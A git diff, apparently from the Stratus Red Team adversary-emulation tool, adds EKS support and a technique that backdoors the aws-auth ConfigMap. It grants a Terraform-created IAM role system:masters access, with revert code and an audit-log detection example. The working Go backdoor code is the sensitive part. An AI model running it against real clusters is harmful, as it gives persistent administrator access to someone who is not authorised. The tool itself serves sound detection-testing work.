"hashicorp/aws" + version = "~> 3.0" + } + } +} +provider "aws" { + skip_region_validation = true + skip_credentials_validation = true + skip_get_ec2_platforms = true +} + +locals { + resource_prefix = "stratus-red-team-eks-create-access-entry" +} + +data "aws_caller_identity" "current" {} + +resource "aws_iam_role" "role" { + name = "${local.resource_prefix}-role" + assume_role_policy = jsonencode({ + Version = "2012-10-17" + Statement = [ + { + Action = "sts:AssumeRole" + Effect = "Allow" + Principal = { + AWS = data.aws_caller_identity.current.account_id + } + }, + ] + }) +} + +resource "aws_iam_role_policy_attachment" "role-policy" { + role = aws_iam_role.role.name + policy_arn = "arn:aws:iam::aws:policy/job-function/ViewOnlyAccess" +} + +output "role_arn" { + value = aws_iam_role.role.arn +} + +output "display" { + value = format("IAM role %s ready", aws_iam_role.role.arn) +} \ No newline at end of file diff --git a/v2/internal/attacktechniques/eks/persistence/backdoor-aws-auth-configmap/main.go b/v2/internal/attacktechniques/eks/persistence/backdoor-aws-auth-configmap/main.go new file mode 100644 index 000000000..d8f234a73 --- /dev/null +++ b/v2/internal/attacktechniques/eks/persistence/backdoor-aws-auth-configmap/main.go @@ -0,0 +1,179 @@ +package eks + +import ( + "context" + _ "embed" + "fmt" + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + "gopkg.in/yaml.v3" + corev1 "k8s.io/api/core/v1" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + "k8s.io/client-go/kubernetes" + "log" +) + +//go:embed main.tf +var tf []byte + +func init() { + const codeBlock = "```" + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "eks.persistence.backdoor-aws-auth-configmap", + FriendlyName: "Backdoor aws-auth EKS ConfigMap", + + Description: ` +Backdoors the aws-auth ConfigMap in an EKS cluster to grant access to the cluster to a specific role. + +Warm-up: + +- Create an IAM role + +Detonation: + +- Add an entry to the aws-auth ConfigMap to grant administrator access to the cluster to the role + +References: + +- https://securitylabs.datadoghq.com/articles/amazon-eks-attacking-securing-cloud-identities/#authorization-the-aws-auth-configmap-deprecated +- https://docs.aws.amazon.com/eks/latest/userguide/auth-configmap.html +`, + Detection: ` +Through EKS API Server audit logs, by looking for changes to the aws-auth ConfigMap in the kube-system namespace. Here's what a relevant audit event looks like: + +` + codeBlock + `json +{ + "objectRef": { + "apiVersion": "v1", + "resource": "configmaps", + "name": "aws-auth" + }, + "requestURI": "/api/v1/namespaces/kube-system/configmaps/aws-auth", + "requestObject": { + "metadata": { + "resourceVersion": "184358280", + "name": "aws-auth", + "namespace": "kube-system", + "creationTimestamp": "2022-07-20T13:13:30Z" + }, + "apiVersion": "v1", + "data": { + "mapRoles": "- groups:\n - system:masters\n rolearn: arn:aws:iam::012345678901:role/account-admin\n username: cluster-admin-{{SessionName}}\n- groups:\n - system:bootstrappers\n - system:nodes\n rolearn: arn:aws:iam::012345678901:role/eksctl-cluser-NodeInstanceRole\n username: system:node:{{EC2PrivateDNSName}}\n- groups:\n - system:masters\n rolearn: arn:aws:iam::012345678901:role/stratus-red-team-eks-backdoor-aws-auth-role\n username: backdoor\n" + }, + "kind": "ConfigMap" + } +} +` + codeBlock + ` +`, + Platform: stratus.EKS, + PrerequisitesTerraformCode: tf, + IsIdempotent: false, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence, mitreattack.PrivilegeEscalation}, + Detonate: detonate, + Revert: revert, + }) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + k8sClient := providers.EKS().GetK8sClient() + roleArn := params["role_arn"] + + log.Println("Reading aws-auth ConfigMap in the kube-system namespace") + awsAuthConfigMap, err := NewAwsAuthConfigMap(k8sClient) + if err != nil { + return err + } + + log.Println("Backdooring aws-auth ConfigMap to grant access to the cluster to the role ", roleArn) + awsAuthConfigMap.AddRoleMapping(roleArn, "backdoor", []string{"system:masters"}) + if err := awsAuthConfigMap.Save(); err != nil { + return err + } + + log.Println("The aws-auth ConfigMap has been successfully backdoored and is shown below:\n\n", awsAuthConfigMap.configMap.Data["mapRoles"]) + return nil +} + +func revert(params map[string]string, providers stratus.CloudProviders) error { + k8sClient := providers.EKS().GetK8sClient() + roleArn := params["role_arn"] + + log.Println("Reading aws-auth ConfigMap in the kube-system namespace") + awsAuthConfigMap, err := NewAwsAuthConfigMap(k8sClient) + if err != nil { + return err + } + + log.Println("Removing aws-auth ConfigMap mapping for role", roleArn) + awsAuthConfigMap.RemoveRoleMapping(roleArn) + if err := awsAuthConfigMap.Save(); err != nil { + return err + } + return nil +} + +// Utility code to interact with the aws-auth ConfigMap +type awsAuthConfigMapEntry struct { + Groups []string `yaml:"groups"` + RoleARN string `yaml:"rolearn"` + Username string `yaml:"username"` +} + +type AwsAuthConfigMap struct { + k8sClient *kubernetes.Clientset + configMap *corev1.ConfigMap + roleMappings *[]awsAuthConfigMapEntry +} + +func NewAwsAuthConfigMap(k8sClient *kubernetes.Clientset) (*AwsAuthConfigMap, error) { + awsAuth := &AwsAuthConfigMap{k8sClient: k8sClient} + configMap, err := k8sClient.CoreV1().ConfigMaps("kube-system").Get(context.Background(), "aws-auth", metav1.GetOptions{}) + if err != nil { + return nil, fmt.Errorf("failed to read aws-auth ConfigMap: %w", err) + } + awsAuth.configMap = configMap + + rawRoleMapping, ok := configMap.Data["mapRoles"] + if !ok { + return nil, fmt.Errorf("'mapRoles' field is not present in aws-auth ConfigMap") + } + + var roleMappings []awsAuthConfigMapEntry + err = yaml.Unmarshal([]byte(rawRoleMapping), &roleMappings) + if err != nil { + return nil, fmt.Errorf("failed to unmarshal aws-auth ConfigMap: %w", err) + } + awsAuth.roleMappings = &roleMappings + return awsAuth, nil +} + +func (m *AwsAuthConfigMap) AddRoleMapping(roleArn string, username string, groups []string) { + *m.roleMappings = append(*m.roleMappings, awsAuthConfigMapEntry{ + Groups: groups, + RoleARN: roleArn, + Username: username, + }) +} + +func (m *AwsAuthConfigMap) RemoveRoleMapping(roleArn string) { + roleMappings := *m.roleMappings + for i, roleMapping := range roleMappings { + if roleMapping.RoleARN == roleArn { + *m.roleMappings = append(roleMappings[:i], roleMappings[i+1:]...) + return + } + } +} + +func (m *AwsAuthConfigMap) Save() error { + result, err := yaml.Marshal(m.roleMappings) + if err != nil { + return fmt.Errorf("failed to marshal aws-auth ConfigMap: %w", err) + } + m.configMap.Data["mapRoles"] = string(result) + _, err = m.k8sClient.CoreV1().ConfigMaps("kube-system").Update(context.Background(), m.configMap, metav1.UpdateOptions{}) + if err != nil { + return fmt.Errorf("failed to update aws-auth ConfigMap: %w", err) + } + return nil +} diff --git a/v2/internal/attacktechniques/eks/persistence/backdoor-aws-auth-configmap/main.tf b/v2/internal/attacktechniques/eks/persistence/backdoor-aws-auth-configmap/main.tf new file mode 100644 index 000000000..9b70be772 --- /dev/null +++ b/v2/internal/attacktechniques/eks/persistence/backdoor-aws-auth-configmap/main.tf @@ -0,0 +1,48 @@ +terraform { + required_providers { + aws = { + source = "hashicorp/aws" + version = "~> 3.0" + } + } +} +provider "aws" { + skip_region_validation = true + skip_credentials_validation = true + skip_get_ec2_platforms = true +} + +locals { + resource_prefix = "stratus-red-team-eks-backdoor-aws-auth" +} + +data "aws_caller_identity" "current" {} + +resource "aws_iam_role" "role" { + name = "${local.resource_prefix}-role" + assume_role_policy = jsonencode({ + Version = "2012-10-17" + Statement = [ + { + Action = "sts:AssumeRole" + Effect = "Allow" + Principal = { + AWS = data.aws_caller_identity.current.account_id + } + }, + ] + }) +} + +resource "aws_iam_role_policy_attachment" "role-policy" { + role = aws_iam_role.role.name + policy_arn = "arn:aws:iam::aws:policy/job-function/ViewOnlyAccess" +} + +output "role_arn" { + value = aws_iam_role.role.arn +} + +output "display" { + value = format("IAM role %s ready", aws_iam_role.role.arn) +} \ No newline at end of file diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index ff5a64246..147af3f48 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -42,6 +42,8 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/execution/vm-custom-script-extension" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/execution/vm-run-command" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/exfiltration/disk-export" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/eks/lateral-movement/create-access-entry" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/eks/persistence/backdoor-aws-auth-configmap" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-snapshot" diff --git a/v2/internal/providers/eks.go b/v2/internal/providers/eks.go new file mode 100644 index 000000000..ac7fdf451 --- /dev/null +++ b/v2/internal/providers/eks.go @@ -0,0 +1,72 @@ +package providers + +import ( + "github.com/aws/aws-sdk-go-v2/aws" + "github.com/google/uuid" + "k8s.io/client-go/kubernetes" + "log" + "net/url" + "os" + "strings" +) + +const EnvVarSkipEKSHostnameCheck = "STRATUS_SKIP_EKS_HOSTNAME_CHECK" + +type EKSProvider struct { + awsProvider *AWSProvider + k8sProvider *K8sProvider + UniqueCorrelationId uuid.UUID // unique value injected in the user-agent, to differentiate Stratus Red Team executions +} + +func NewEKSProvider(uuid uuid.UUID) *EKSProvider { + return &EKSProvider{ + awsProvider: NewAWSProvider(uuid), + k8sProvider: NewK8sProvider(uuid), + UniqueCorrelationId: uuid, + } +} + +func (m *EKSProvider) GetAWSConnection() aws.Config { + return m.awsProvider.GetConnection() +} + +func (m *EKSProvider) GetK8sClient() *kubernetes.Clientset { + return m.k8sProvider.GetClient() +} + +func (m *EKSProvider) IsAuthenticatedAgainstEKS() bool { + // Check if we're properly authenticated against AWS + if !m.awsProvider.IsAuthenticatedAgainstAWS() { + return false + } + + // Check if our current K8s context is a valid EKS cluster + if os.Getenv(EnvVarSkipEKSHostnameCheck) == "1" { + return true + } + apiServerUrl := m.k8sProvider.GetRestConfig().Host + parsedAPIServerUrl, err := url.Parse(apiServerUrl) + if err != nil { + log.Fatalf("unable to parse API server URL %s: %v", apiServerUrl, err) + } + + return strings.HasSuffix(parsedAPIServerUrl.Host, ".eks.amazonaws.com") +} + +// taken from https://github.com/DataDog/managed-kubernetes-auditing-toolkit/blob/main/internal/utils/kubernetes.go#L59C1-L74C2 +func (m *EKSProvider) GetEKSClusterName() string { + // Most of (if not all) the time, the KubeConfig file generated by "aws eks update-kubeconfig" will have an + // ExecProvider section that runs "aws eks get-token <...> --cluster-name foo" + // We parse it and extract the cluster name from there + + execProvider := m.k8sProvider.GetRestConfig().ExecProvider + if execProvider == nil || execProvider.Command != "aws" { + return "" + } + for i, arg := range execProvider.Args { + if arg == "--cluster-name" && i+1 < len(execProvider.Args) { + return execProvider.Args[i+1] + } + } + return "" +} diff --git a/v2/pkg/stratus/platform.go b/v2/pkg/stratus/platform.go index 2ca1fa8b3..7d0ed2dad 100644 --- a/v2/pkg/stratus/platform.go +++ b/v2/pkg/stratus/platform.go @@ -11,6 +11,7 @@ type Platform string const ( AWS = "AWS" + EKS = "EKS" Kubernetes = "kubernetes" Azure = "azure" GCP = "GCP" @@ -26,6 +27,8 @@ func PlatformFromString(name string) (Platform, error) { return Azure, nil case strings.ToLower(GCP): return GCP, nil + case strings.ToLower(EKS): + return EKS, nil default: return "", errors.New("unknown platform: " + name) } @@ -41,6 +44,8 @@ func (p Platform) FormatName() (string, error) { return "GCP", nil case Kubernetes: return "Kubernetes", nil + case EKS: + return "EKS", nil default: return "", errors.New("platform name not formatted") } diff --git a/v2/pkg/stratus/providers.go b/v2/pkg/stratus/providers.go index d3b81fb2d..e2df5ca51 100644 --- a/v2/pkg/stratus/providers.go +++ b/v2/pkg/stratus/providers.go @@ -13,6 +13,7 @@ type CloudProviders interface { K8s() *providers.K8sProvider Azure() *providers.AzureProvider GCP() *providers.GCPProvider + EKS() *providers.EKSProvider } type CloudProvidersImpl struct { @@ -21,6 +22,7 @@ type CloudProvidersImpl struct { K8sProvider *providers.K8sProvider AzureProvider *providers.AzureProvider GCPProvider *providers.GCPProvider + EKSProvider *providers.EKSProvider } func (m CloudProvidersImpl) AWS() *providers.AWSProvider { @@ -51,6 +53,13 @@ func (m CloudProvidersImpl) GCP() *providers.GCPProvider { return m.GCPProvider } +func (m CloudProvidersImpl) EKS() *providers.EKSProvider { + if m.EKSProvider == nil { + m.EKSProvider = providers.NewEKSProvider(m.UniqueCorrelationID) + } + return m.EKSProvider +} + // EnsureAuthenticated ensures that the current user is properly authenticated against a specific platform func EnsureAuthenticated(platform Platform) error { providerFactory := CloudProvidersImpl{UniqueCorrelationID: uuid.New()} @@ -79,6 +88,15 @@ func EnsureAuthenticated(platform Platform) error { "Make sure you are authenticated against GCP and you have set your GCP Project ID in your environment variables" + " (export GOOGLE_PROJECT=xxx)") } + case EKS: + if !providerFactory.EKS().IsAuthenticatedAgainstEKS() { + return errors.New("you are not authenticated against AWS or an EKS cluster.\n" + + "To use Stratus Red Team's EKS modules, you need to be authenticated both to an AWS account through the AWS CLI, and to an EKS cluster.\n\n" + + "Troubleshooting:\n" + + "1. Are you authenticated against AWS?\n" + + "2. Do you have a region or default region set (whether in your AWS configuration file or in your environment)? If not, run 'export AWS_REGION=xxx'\n" + + "3. Are you authenticated against an EKS cluster? If not, run 'aws eks update-kubeconfig --name '") + } default: return errors.New("unhandled platform " + string(platform)) }